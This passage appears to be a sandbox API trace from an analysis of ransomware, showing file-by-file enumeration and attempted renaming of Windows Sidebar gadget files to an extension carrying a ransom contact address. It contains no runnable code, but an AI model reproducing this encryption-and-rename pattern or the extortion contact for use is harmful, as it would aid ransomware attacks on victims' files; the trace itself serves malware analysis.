sidebar\\gadgets\\clock.gadget\\images\\system.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.014] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.015] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=243) returned 1 [0064.015] CloseHandle (hObject=0x1a4) returned 1 [0064.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_dot.png")) returned 0x20 [0064.015] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_dot.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_dot.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.015] SetEvent (hEvent=0x154) returned 1 [0064.015] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.015] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_h.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.016] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=206) returned 1 [0064.016] CloseHandle (hObject=0x1a4) returned 1 [0064.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_h.png")) returned 0x20 [0064.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_h.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_h.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_h.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.016] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.016] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_m.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.017] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=206) returned 1 [0064.017] CloseHandle (hObject=0x1a4) returned 1 [0064.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_m.png")) returned 0x20 [0064.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_m.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_m.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_m.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.017] SetEvent (hEvent=0x154) returned 1 [0064.017] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_s.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.018] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3003) returned 1 [0064.018] CloseHandle (hObject=0x1a4) returned 1 [0064.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_s.png")) returned 0x20 [0064.018] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_s.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_s.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_s.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.018] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.018] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_settings.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0064.023] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=23101) returned 1 [0064.023] CloseHandle (hObject=0x178) returned 1 [0064.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_settings.png")) returned 0x20 [0064.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_settings.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_settings.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.023] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\system_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\system_settings.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.023] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0064.024] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=19515) returned 1 [0064.024] CloseHandle (hObject=0x178) returned 1 [0064.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad.png")) returned 0x20 [0064.024] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.024] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.024] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_dot.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.027] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3019) returned 1 [0064.027] CloseHandle (hObject=0x1b0) returned 1 [0064.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_dot.png")) returned 0x20 [0064.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_dot.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_dot.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_dot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.027] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_h.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.028] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=351) returned 1 [0064.028] CloseHandle (hObject=0x1b0) returned 1 [0064.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_h.png")) returned 0x20 [0064.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_h.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_h.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_h.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_h.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.028] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.028] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_m.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.030] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=361) returned 1 [0064.030] CloseHandle (hObject=0x1b0) returned 1 [0064.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_m.png")) returned 0x20 [0064.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_m.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_m.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_m.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.031] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_s.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0064.031] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=3000) returned 1 [0064.031] CloseHandle (hObject=0x1b0) returned 1 [0064.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_s.png")) returned 0x20 [0064.031] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_s.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_s.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_s.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.032] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_settings.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.034] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=21381) returned 1 [0064.034] CloseHandle (hObject=0x1a4) returned 1 [0064.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_settings.png")) returned 0x20 [0064.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_settings.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_settings.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\trad_settings.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\trad_settings.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.034] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\logo.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.035] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=6166) returned 1 [0064.035] CloseHandle (hObject=0x1a4) returned 1 [0064.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\logo.png")) returned 0x20 [0064.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\logo.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\logo.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\logo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.036] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\drag.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.036] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=20252) returned 1 [0064.036] CloseHandle (hObject=0x1a4) returned 1 [0064.036] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\drag.png")) returned 0x20 [0064.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\drag.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\drag.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\drag.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\drag.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.037] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\cpu.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\cpu.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0064.040] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4630) returned 1 [0064.040] CloseHandle (hObject=0x1a4) returned 1 [0064.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\cpu.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\cpu.html")) returned 0x20 [0064.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\cpu.html.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\cpu.html.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\cpu.html" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\cpu.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.070] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\cpu.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css\\cpu.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.072] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=1372) returned 1 [0064.072] CloseHandle (hObject=0x1ac) returned 1 [0064.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\cpu.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css\\cpu.css")) returned 0x20 [0064.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\cpu.css.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css\\cpu.css.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\css\\cpu.css" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\css\\cpu.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.072] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0064.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0064.073] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=993) returned 1 [0064.073] CloseHandle (hObject=0x1ac) returned 1 [0064.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\gadget.xml")) returned 0x20 [0064.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\gadget.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0064.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0064.074] CryptGenRandom (in: 